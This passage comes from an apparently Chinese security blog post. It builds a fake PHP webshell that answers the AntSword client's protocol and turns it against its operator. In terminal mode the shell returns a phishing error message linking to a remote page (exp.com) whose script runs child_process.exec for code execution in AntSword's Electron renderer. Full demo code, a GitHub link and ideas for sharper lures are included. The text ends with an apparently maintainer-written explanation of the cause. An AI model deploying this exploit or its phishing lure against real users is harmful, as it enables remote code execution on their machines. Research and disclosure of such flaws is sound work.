($i=<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;$i&lt;sizeof($oparr);$i++) {<br style="box-sizing: border-box;"/>  @chdir(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;..&#34;</span>);<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> @ini_set(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;open_basedir&#34;</span>,<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;/&#34;</span>);<br style="box-sizing: border-box;"/> @rmdir($ocwd.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;/&#34;</span>.$tmdir);<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>;<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">asenc</span><span style="box-sizing: border-box;line-height: 26px;">($out)</span> </span>{<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> $out;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>;<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">asoutput</span><span style="box-sizing: border-box;line-height: 26px;">()</span> </span>{<br style="box-sizing: border-box;"/> $output=ob_get_contents();<br style="box-sizing: border-box;"/> ob_end_clean();<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;c63f&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;aa80&#34;</span>;  <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//校验码一</span><br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> @asenc($output);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;03b&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;b509&#34;</span>; <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//校验码二</span><br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>ob_start();<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">try</span> {<br style="box-sizing: border-box;"/> $D=dirname($_SERVER[<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;SCRIPT_FILENAME&#34;</span>]);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span>($D==<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>)$D=dirname($_SERVER[<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;PATH_TRANSLATED&#34;</span>]);<br style="box-sizing: border-box;"/> $R=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;{$D} &#34;</span>;<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span>(substr($D,<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>)!=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;/&#34;</span>) {<br style="box-sizing: border-box;"/>  <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">foreach</span>(range(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;C&#34;</span>,<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;Z&#34;</span>)<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">as</span> $L)<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span>(is_dir(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;{$L}:&#34;</span>))$R.=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;{$L}:&#34;</span>;<br style="box-sizing: border-box;"/> } <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">else</span> {<br style="box-sizing: border-box;"/>  $R.=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;/&#34;</span>;<br style="box-sizing: border-box;"/> }<br style="box-sizing: border-box;"/> $R.=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34; &#34;</span>;<br style="box-sizing: border-box;"/> $u=(function_exists(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;posix_getegid&#34;</span>))?@posix_getpwuid(@posix_geteuid()):<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>;<br style="box-sizing: border-box;"/> $s=($u)?$u[<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;name&#34;</span>]:@get_current_user();<br style="box-sizing: border-box;"/> $R.=php_uname();<br style="box-sizing: border-box;"/> $R.=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34; {$s}&#34;</span>;<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> $R;<br style="box-sizing: border-box;"/> ;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">catch</span>(<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">Exception</span> $e) {<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;ERROR://&#34;</span>.$e-&gt;getMessage();<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/>;<br style="box-sizing: border-box;"/>asoutput();<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">die</span>();<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">返回包：</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER03bb509<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过返回包可以看出webshell获取了web目录、盘符、系统版本、用户名等信息。在这些信息头尾各有一段随机字符，推测是类似校验码的东西。通过反复抓包确定两段随机字符存在其中一段即可通过校验，其他的内容会被缓存起来供其他功能调用。而校验码在请求包中也能找到。这个时候我们就可以按照要求写出一个可以通过蚁剑客户端校验的”webshell“。</p><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong style="box-sizing: border-box;">注意 ：返回包中的每段信息中间以\t分隔，而不是空格。这点在源码中可以找到，之前因为这个卡了好长时间。</strong></p><figure style="box-sizing: border-box;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="308614920" data-galleryid="" data-ratio="0.6844993141289437" data-s="300,640" style="height: auto !important;" data-type="png" data-w="729" src="https://wechat2rss.xlab.app/img-proxy/?k=4d86506d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAMRmy262dy50UXEic3A723kFyDpdaIdlLdiak37ib5fFeKkmUDIYa3FLiaxE90V9vV3xL9qx0KZlAMA3w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最终写出伪造连通性的代码：</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">$ze=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;%echo \&#34;([^&lt;]*?).\&#34;([^&lt;]*?)\&#34;;%si&#34;</span>;  <br style="box-sizing: border-box;"/>preg_match($ze,$A,$B);<br style="box-sizing: border-box;"/>$c=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$B[0]&#34;</span>; <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//正则提取 echo &#34;xxxx&#34;.&#34;xxxx&#34;;</span><br style="box-sizing: border-box;"/>$key= str_replace([<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;&#34;&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;.&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;echo&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39; &#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;;&#34;</span>], <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>, $c); <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//替换输出干净的值xxxxxxxx</span><br style="box-sizing: border-box;"/>$txt=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;D:/phpstudy_pro/WWW&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\t&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;C:D:E:F:&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\t&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\t&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;administrator&#39;</span>;<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$key&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$txt&#34;</span>;<span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//拼接输出最终内容</span><br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">开始第二部分，伪造当在虚拟终端中执行命令时蚁剑的数据包。请求包太大这里就不放了。我们要从请求包中提取出一个特征，用来和连通性包做出区分，从而达到更完美的伪装。这里我选用了</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">$ret=<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">127</span>;<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">返回包同样是校验码+内容+校验码，和连通包类似</p><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以代码是这个样子的</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">$ze=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;%echo \&#34;([^&lt;]*?).\&#34;([^&lt;]*?)\&#34;;%si&#34;</span>;<br style="box-sizing: border-box;"/>preg_match($ze,$A,$B);<br style="box-sizing: border-box;"/>$c=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$B[0]&#34;</span>;<br style="box-sizing: border-box;"/>$key= str_replace([<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;&#34;&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;.&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;echo&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39; &#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;;&#34;</span>], <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>, $c);<br style="box-sizing: border-box;"/>    $payload=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;<a href="http://exp.com/index.html" target="_blank">http://exp.com/index.html</a>&#39;</span>;<span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//远程加载js的页面，代码在文后</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$key&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;ret=405&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\n&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;数据解码错误，请访问使用文档查询解决方案。AntSword：&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$payload&#34;</span>;<span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//输出的钓鱼内容</span><br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后加上判断。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="308614921" data-galleryid="" data-ratio="0.3653366583541147" data-s="300,640" style="height: auto !important;" data-type="png" data-w="802" src="https://wechat2rss.xlab.app/img-proxy/?k=39d071d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAMRmy262dy50UXEic3A723kFRLYnA0hZJ1G3oZjuMtKr1iaefaicc5CnA19icYPic9InhoBqfzTVc9ed1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">点击连接调用蚁剑内置浏览器，开始愉快的算题<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="308614922" data-galleryid="" data-ratio="0.5606060606060606" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1254" src="https://wechat2rss.xlab.app/img-proxy/?k=e3821b98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAMRmy262dy50UXEic3A723kFNUkd8YCvkbfJBxo4pVKMhvHtsUic2rHe0ygrrYCJF4GBNibZnufI7OyQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="box-sizing: border-box;">0x03 最终demo</span></h3><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">webshell.php</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">&lt;?php</span> <br style="box-sizing: border-box;"/>$A=urldecode(file_get_contents(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;php://input&#34;</span>)); <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//获取post数据</span><br style="box-sizing: border-box;"/>$iscmd=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;%(.*)127;%si&#34;</span>;<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span> (preg_match($iscmd,$A,$B)!=<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>) { <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//判断数据包类型</span><br style="box-sizing: border-box;"/>    <br style="box-sizing: border-box;"/>$ze=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;%echo \&#34;([^&lt;]*?).\&#34;([^&lt;]*?)\&#34;;%si&#34;</span>;<br style="box-sizing: border-box;"/>preg_match($ze,$A,$B);<br style="box-sizing: border-box;"/>$c=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$B[0]&#34;</span>;<br style="box-sizing: border-box;"/>$key= str_replace([<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;&#34;&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;.&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;echo&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39; &#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;;&#34;</span>], <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>, $c); <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//取校验码</span><br style="box-sizing: border-box;"/>    $payload=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;<a href="http://exp.com/index.html" target="_blank">http://exp.com/index.html</a>&#39;</span>; <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//远程调用地址</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$key&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;ret=405&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\n&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;数据解码错误，请访问使用文档查询解决方案。AntSword：&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$payload&#34;</span>;<span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//这部分内容自由发挥，可以写成更有诱导性的内容</span><br style="box-sizing: border-box;"/>} <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">else</span> {<br style="box-sizing: border-box;"/>    <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;no&#34;</span>;<br style="box-sizing: border-box;"/>$ze=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;%echo \&#34;([^&lt;]*?).\&#34;([^&lt;]*?)\&#34;;%si&#34;</span>;<br style="box-sizing: border-box;"/>preg_match($ze,$A,$B);<br style="box-sizing: border-box;"/>$c=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$B[0]&#34;</span>;<br style="box-sizing: border-box;"/>$key= str_replace([<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;&#34;&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;.&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;echo&#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39; &#39;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;;&#34;</span>], <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>, $c);<br style="box-sizing: border-box;"/>$txt=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;D:/phpstudy_pro/WWW&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\t&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;C:D:E:F:&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\t&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586&#39;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;\t&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;administrator&#39;</span>; <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//返回内容会缓存起来在其他功能里用到，也可以利用这个伪造系统类型</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">echo</span> <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$key&#34;</span>.<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;$txt&#34;</span>;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">?&gt;</span><br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">加载的index.html</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;script type=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;text/javascript&#34;</span>&gt;<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">require</span>(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;child_process&#39;</span>).exec(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;calc&#39;</span>,(error, stdout, stderr)=&gt;{     alert(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">`stdout: <span style="box-sizing: border-box;color: rgb(224, 108, 117);line-height: 26px;">${stdout}</span>`</span>); });<br style="box-sizing: border-box;"/>&lt;<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">/script&gt;<br style="box-sizing: border-box;"/></span></code></pre><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所有代码均在松鼠A师傅的github有下载：<a href="https://github.com/shiyeshu/antSword-UnrealWebshell" target="_blank">https://github.com/shiyeshu/antSword-UnrealWebshell</a></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="box-sizing: border-box;">0x04 写在最后</span></h3><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这只是个简单的demo，功能部分其实可以多写几个，更加完美的伪装。返回连接那里返回一次内容后用户名就会发生变化，这点应该可以怎么解决掉。php代码写的也不够优雅，可以继续美化。这个思路还可以进一步拓展，比如：</p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">拓展场景，比如ctf的awd里，谁不喜欢万人骑的webshell呢</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">留一个webshell，输入隐藏密码就可以链接成为正常的webshell，输入钓鱼密码就会进入钓鱼模式</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">终端侧的诱导理由可以进一步优化，就看想象力了</section></li></ol><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><br/></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><br/></section></section><section><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="308614539" data-galleryid="" data-ratio="1.3083735909822867" data-s="300,640" style="width: 458px;height: auto !important;" data-type="jpeg" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=bd1724db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSHI5wib3tvAPP0TNFbB6E11tWIbtUcXfYanGWibqPTy6GP6qDfN8vHicRflibFBODJib0HnpgSZq22Yo6XkUZJu4LbA%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p>学蚁致用：<br/></p><p><br/></p><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p style="text-align: left;"><span style="font-size: 16px;">electron render 中的 a 标签默认行为是用 electron 内置的 BrowserWindow 来打开的。</span></p></li><li><p style="text-align: left;"><span style="font-size: 16px;">AntSword 由于功能的需要，不得不在 Render 中开启 Node 支持，所以 XSS 就可以导致 RCE。</span></p></li><li><p style="text-align: left;"><span style="font-size: 16px;">之所以开放 Node 支持，是因为编码器、解码器 等一些功能，是放在 Render 层来完成的，为了方便用户使用 NodeJS 中的一些库、语法。若将这些功能放在 ipcMain 里，在用户修改了这些代码之后，无法立即生效，需要将整个程序退出之后，重启才会生效。（参考 导入 shell 配置 这个插件的做法）。体验问题，这个需要未来再商讨。</span></p></li><li><p style="text-align: left;"><span style="font-size: 16px;">链接在内部打开导致的钓鱼问题，解决办法也很简单，我们在主窗口中把所有的 url 